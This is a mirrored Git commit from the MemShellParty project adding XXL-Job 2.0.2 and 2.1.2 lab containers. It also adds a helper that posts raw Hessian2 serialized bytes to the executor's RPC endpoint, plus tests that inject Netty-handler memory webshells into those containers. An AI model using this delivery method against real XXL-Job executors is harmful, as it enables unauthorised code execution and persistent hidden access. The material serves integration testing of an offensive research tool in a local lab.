archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 07:00:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: suitable for xxl-job < 2.2.0 #151

Browse Source
This commit is contained in:
ReaJason
2026-08-03 23:54:06 +08:00
parent 556c9d63ff
commit 29c19a318f
19 changed files with 544 additions and 38 deletions
Download Patch File Download Diff File Expand all files Collapse all files
integration-test/docker-compose/xxl-job/docker-compose-202.yaml
+17
View File
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.0.2-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.0.2-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
integration-test/docker-compose/xxl-job/docker-compose-212.yaml
+17
View File
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.1.2-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.1.2-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java
+1
View File
@@ -447,6 +447,7 @@ public class ShellAssertion {
case Base64 -> VulTool.postIsOk(url + "/b64", content);
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
case XxlJobHessian -> VulTool.xxlJobHessianExecutor(url + "/", content);
case H2, H2JS, H2Javac, H2JSURLEncode -> VulTool.postIsOk(url + "/jdbc", content);
case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content);
default -> throw new IllegalStateException("Unexpected value: " + packer);
integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java
+18
View File
@@ -6,6 +6,7 @@ import okhttp3.*;
import org.junit.jupiter.api.Assertions;
import java.io.IOException;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.assertEquals;
@@ -78,6 +79,23 @@ public class VulTool {
}
}
@SneakyThrows
public static void xxlJobHessianExecutor(String url, String base64Bytes) {
byte[] requestBytes = Base64.getDecoder().decode(base64Bytes);
OkHttpClient client = new OkHttpClient();
RequestBody body = RequestBody.create(requestBytes, MediaType.parse("application/octet-stream"));
Request request = new Request.Builder()
.url(url)
.post(body)
.addHeader("Connection", "close")
.build();
log.info("sending hessian2 xxl-rpc request to: {}", url);
try (Response response = client.newCall(request).execute()) {
log.info("xxl-rpc hessian2 response code: {}", response.code());
Thread.sleep(1000);
}
}
@SneakyThrows
public static void xxlJobExecutor(String url, String data) {
OkHttpClient client = new OkHttpClient();
integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob202ContainerTest.java
+67
View File
@@ -0,0 +1,67 @@
package com.reajason.javaweb.integration.memshell.xxljob;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.ComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2025/1/22
*/
@Testcontainers
@Slf4j
public class XxlJob202ContainerTest {
public static final String imageName = "xxljob/xxljob202";
@Container
public static final ComposeContainer compose =
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-202.yaml"))
.withExposedService("executor", 9999);
static Stream<Arguments> casesProvider() {
String server = Server.XXLJOB;
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName("executor").get().getLogs();
log.info("container stopped, logs is : {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
}
public static String getUrl() {
String host = compose.getServiceHost("executor", 9999);
int port = compose.getServicePort("executor", 9999);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob212ContainerTest.java
+67
View File
@@ -0,0 +1,67 @@
package com.reajason.javaweb.integration.memshell.xxljob;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.ComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2025/1/22
*/
@Testcontainers
@Slf4j
public class XxlJob212ContainerTest {
public static final String imageName = "xxljob/xxljob212";
@Container
public static final ComposeContainer compose =
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-212.yaml"))
.withExposedService("executor", 9999);
static Stream<Arguments> casesProvider() {
String server = Server.XXLJOB;
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName("executor").get().getLogs();
log.info("container stopped, logs is : {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
}
public static String getUrl() {
String host = compose.getServiceHost("executor", 9999);
int port = compose.getServicePort("executor", 9999);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob250ContainerTest.java
+67
View File
@@ -0,0 +1,67 @@
package com.reajason.javaweb.integration.memshell.xxljob;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.ComposeContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2025/1/22
*/
@Testcontainers
@Slf4j
public class XxlJob250ContainerTest {
public static final String imageName = "xxljob/xxljob250";
@Container
public static final ComposeContainer compose =
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-250.yaml"))
.withExposedService("executor", 9999);
static Stream<Arguments> casesProvider() {
String server = Server.XXLJOB;
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
List<Packers> testPackers = List.of(Packers.XxlJob);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = compose.getContainerByServiceName("executor").get().getLogs();
log.info("container stopped, logs is : {}", logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V17, packer);
}
public static String getUrl() {
String host = compose.getServiceHost("executor", 9999);
int port = compose.getServicePort("executor", 9999);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}